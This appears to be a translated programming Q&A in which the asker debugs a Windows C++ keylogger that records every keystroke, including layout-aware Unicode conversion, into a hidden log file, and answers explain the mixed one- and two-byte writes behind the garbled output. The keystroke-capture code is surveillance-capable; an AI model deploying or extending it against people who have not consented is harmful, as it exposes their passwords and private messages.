【问题标题】:How do I fix these encodings?如何修复这些编码?
【发布时间】:2020-10-29 20:32:33
【问题描述】:

我正在制作一个程序来捕获用户输入的所有键并将它们保存到文件中。

有一个问题我真的很困惑。有时当我打开文本文件时,它看起来像是 ALL 的 Unicode。

我输入了俄语字符,它们是正确的。

但是,有时文件是正常格式的。

这会将密钥转换为 Unicode:

void writeScannedKey(unsigned char key)
{
    HWND windowHandle{ GetForegroundWindow() };
    DWORD threadID{ GetWindowThreadProcessId(windowHandle, NULL) };

    BYTE *keyState{ (BYTE*)malloc(256) };
    GetKeyboardState(keyState);

    HKL hkl{ GetKeyboardLayout(threadID) };

    wchar_t uniChar[16]{ 0 };

    UINT virtualKey{ (MapVirtualKeyEx(key, MAPVK_VK_TO_CHAR, hkl)) };

    ToUnicodeEx(virtualKey, key, keyState, uniChar, 16, 0, hkl);

    writeLog(uniChar);

    free(keyState);
}

程序循环(writeScannedKey()是上面的函数):

while (true)
{
    for (key = 8; key <= 222; ++key)
    {
        if (GetAsyncKeyState(key) == -32767)
        {
            if ((key >= 39) && (key < 91))
            {
                writeScannedKey(key);
                break;
            }

            if (isShitKey(key) == FALSE)
                writeLog4(key);
        }
    }
}

我有 3 个不同的函数,它们接受彼此不同的数据类型(我知道,这很糟糕)。 WriteLog4 函数是我用来将普通字符写入文件的函数,writeLog2 用于打印例如 ALT 键、RWin 键等。 & writeLog 是从writeScannedKey() 函数调用的函数。

void writeLog(TCHAR *text)
{
    std::wstring s{ g_name };

    std::string name{ s.begin(), s.end() };

    std::string fullPath{ "\\\\.\\" + g_takePath + "\\" + name };
    
    HANDLE file{ CreateFileA(fullPath.c_str(), FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL) };
    WriteFile(file, text, wcslen(text) * sizeof(wchar_t), NULL, NULL);

    CloseHandle(file);
}

void writeLog2(LPCSTR text)
{
    std::wstring s{ g_name };

    std::string name{ s.begin(), s.end() };

    std::string fullPath{ "\\\\.\\" + g_takePath + "\\" + name };

    HANDLE file{ CreateFileA(fullPath.c_str(), FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL) };
    WriteFile(file, text, lstrlenA(text) * sizeof(char), NULL, NULL);

    CloseHandle(file);
}

void writeLog4(unsigned char text)
{
    std::wstring s{ g_name };

    std::string name{ s.begin(), s.end() };

    std::string fullPath{ "\\\\.\\" + g_takePath + "\\" + name };

    HANDLE file{ CreateFileA(fullPath.c_str(), FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL) };
    WriteFile(file, (LPCVOID)text, sizeof(text) / sizeof(char) * sizeof(char), NULL, NULL);

    CloseHandle(file);
}

【问题讨论】:

  • 先用十六进制编辑器或非记事本检查文件。记事本会对您的文件编码做出某些猜测,您可能会遇到它。
  • 您的 writeLog4 函数将其 unsigned char text 参数视为从中读取随机数据的地址。您应该将 &amp;text 传递给 Writefile。
  • 不管用什么文本编辑器都无效。
  • 每次用writeScannedKey写,写2个字节,但是用WriteLog4写,只写1个字节,所以用UTF-16读的时候,字符应以1字节显示 与后面的字符组合显示为乱码。

标签: c++ winapi keylogger


【解决方案1】:

当你使用writeScannedKey函数时,以下代码都向文件写入两个字节

 WriteFile(file, text, wcslen(text) * sizeof(wchar_t), NULL, NULL);

但是当你使用writeLog4函数时,你一次只写一个字节:

WriteFile(file, (LPCVOID)text, sizeof(text) / sizeof(char) * sizeof(char), NULL, NULL);

当你使用UTF-16编码读取文件时,两个字节会被当作一个字符读取,单个字节会与后续字节组合,然后会显示一个错误字符。

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2023-01-20
    • 2020-02-15
    • 2015-04-23
    • 1970-01-01
    • 1970-01-01
    • 2018-08-23
    相关资源
    最近更新 更多